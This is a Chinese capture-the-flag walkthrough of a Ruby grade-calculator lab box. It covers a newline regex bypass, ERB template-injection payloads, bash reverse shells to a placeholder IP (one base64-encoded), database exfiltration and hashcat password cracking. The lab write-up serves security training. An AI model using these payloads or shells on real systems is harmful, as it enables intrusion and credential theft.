一進來發現這個頁面,估計突破點就是在這裡了
當然也可走一下固定的流程,nmap掃一下、dir爆破一下。這裡不太像是sql的注入點(並不是查詢功能),就不用sql試了。
首先第一反應時看到WEBrick模板框架,考慮有沒有版本漏洞,但是在幾個CVE資料庫搜一下都沒有對應版本的漏洞。
那麼走一下正常的輸入流程,看一下輸出結果
正則匹配繞過
稍微測試幾個字元就發現被識別為惡意輸入,block掉了。這裡我們fuzz一下,看那些字元不會被攔截,縮小一下測試範圍,根據相應包的長度分類一下
考慮這裡是一個正規表示式匹配行為,那麼想一下正則匹配的常見繞過方法:異或、取反、大小寫、正則回溯上限、拼接、%0a
這裡嘗試後決定用%0a繞過,後面也看了一下原始碼,確實是正則匹配,由於對ruby不太熟,這裡惡補了一下相關的內容
原始碼是這樣的:
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ &&
params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ &&
params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ &&
params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
@result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) +
(params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>"
+ params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" +
params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i *
params[:weight5].to_i) / 100 %>\%</p>").result(binding)
erb :'weighted_grade_results'
else
@result = "Malicious input blocked"
erb :'weighted_grade_results'
首先講一下正則匹配,在ruby中 =~ 表示將正規表示式與字串進行匹配,如果找到,返回匹配項相對於字串的偏移量,否則返回nil
比較有意思的是,在ruby中,0並不代表false,也就是說 if 0 是為真的。其次,利用換行來繞過這裡的單行匹配
但是奇怪的是,即使我用了/m多行匹配,返回結果仍然是True,搞了半天也沒明白,這個問題先擱置一下吧。現在能確定正則匹配是可以繞過的,而且在%0a後可以插入任何字元。
SSTI利用、反彈shell
首先理解一下ssti是什麼,服務端模板注入,服務端利用模板引擎渲染使用者請求到當前頁面。也就是說使用者的輸入渲染到了當前頁面,這聽起來像XSS,我們很容易認為這根本不是突破點選擇繞過,但注意這裡是利用模板進行渲染。
也就是說,一個頁面如果存在xss攻擊的可能,但同時頁面開發使用了模板引擎,那麼我們需要考慮SSTI注入的存在。這裡又是ruby的ERB模板引擎WEBrick,ERB有直接的命令執行介面:
<%= system("whoami") %> <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines()%>
要注意的是,這裡的引數明顯有一個urldecode過程,我們要將特殊字元進行編碼,否則可能無法正常解析,導致命令執行出現問題
到了這一步就好說了,因為沒有回顯,直接彈shell到本地,最常用的命令是
bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1 bash -c 'bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1' echo 'IC1pID4mIC9kZXYvdGNwLzE5Mi54LngueC94eHh4IDA+JjE=' | base64 -d | bash
稍微試幾個,記得編碼,正常彈到shell
發現當前使用者是susan,在使用者目錄Migration下發現了.db的sqlite資料庫檔案,在靶機上執行 python3 -m http.server 8888,然後本地wget下載該檔案
用DBeaver開啟,發現一個使用者表,包括其使用者名稱和密碼
Hashcat爆破
用https://hashes.com/en/tools/hash_identifier 識別一下是什麼型別的hash值,發現是SHA256,這裡我們引入hashcat的使用方法(很多人習慣用john,確實方便,但是侷限性有點大,hashcat能夠以多種方式爆破同時還能結合CPU與GPU的使用)
hashcat的具體使用方式參考 https://cloud.tencent.com/developer/article/2245761?areaId=106001
# 利用字典爆破 1.txt是密碼的雜湊值 hashcat -a 0 -m 1400 1.txt /usr/share/wordlists/rockyou.txt
在 /var/mail/susan中發現了以下郵件:
susan@perfection:~/ruby_app$ cat /var/mail/susan cat /var/mail/susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is: {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform. - Tina, your delightful student
也就是密碼是基於特定的規則,照理我們可以根據susan的hash值本地爆破出她的密碼
這裡用到的是hashcat基於掩碼的爆破方式
#基於規則掩碼的爆破 hashcat 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' -a 3 'susan_nasus_?d?d?d?d?d?d?d?d?d' -m 1400
直接得到了susan的密碼,接下來的提權就不說了,ssh連上去發現sudo許可權全開,直接讀root.txt。(照理說使用者表的五個人的密碼都是爆破的,但/etc/passwd檔案中只存在susan使用者)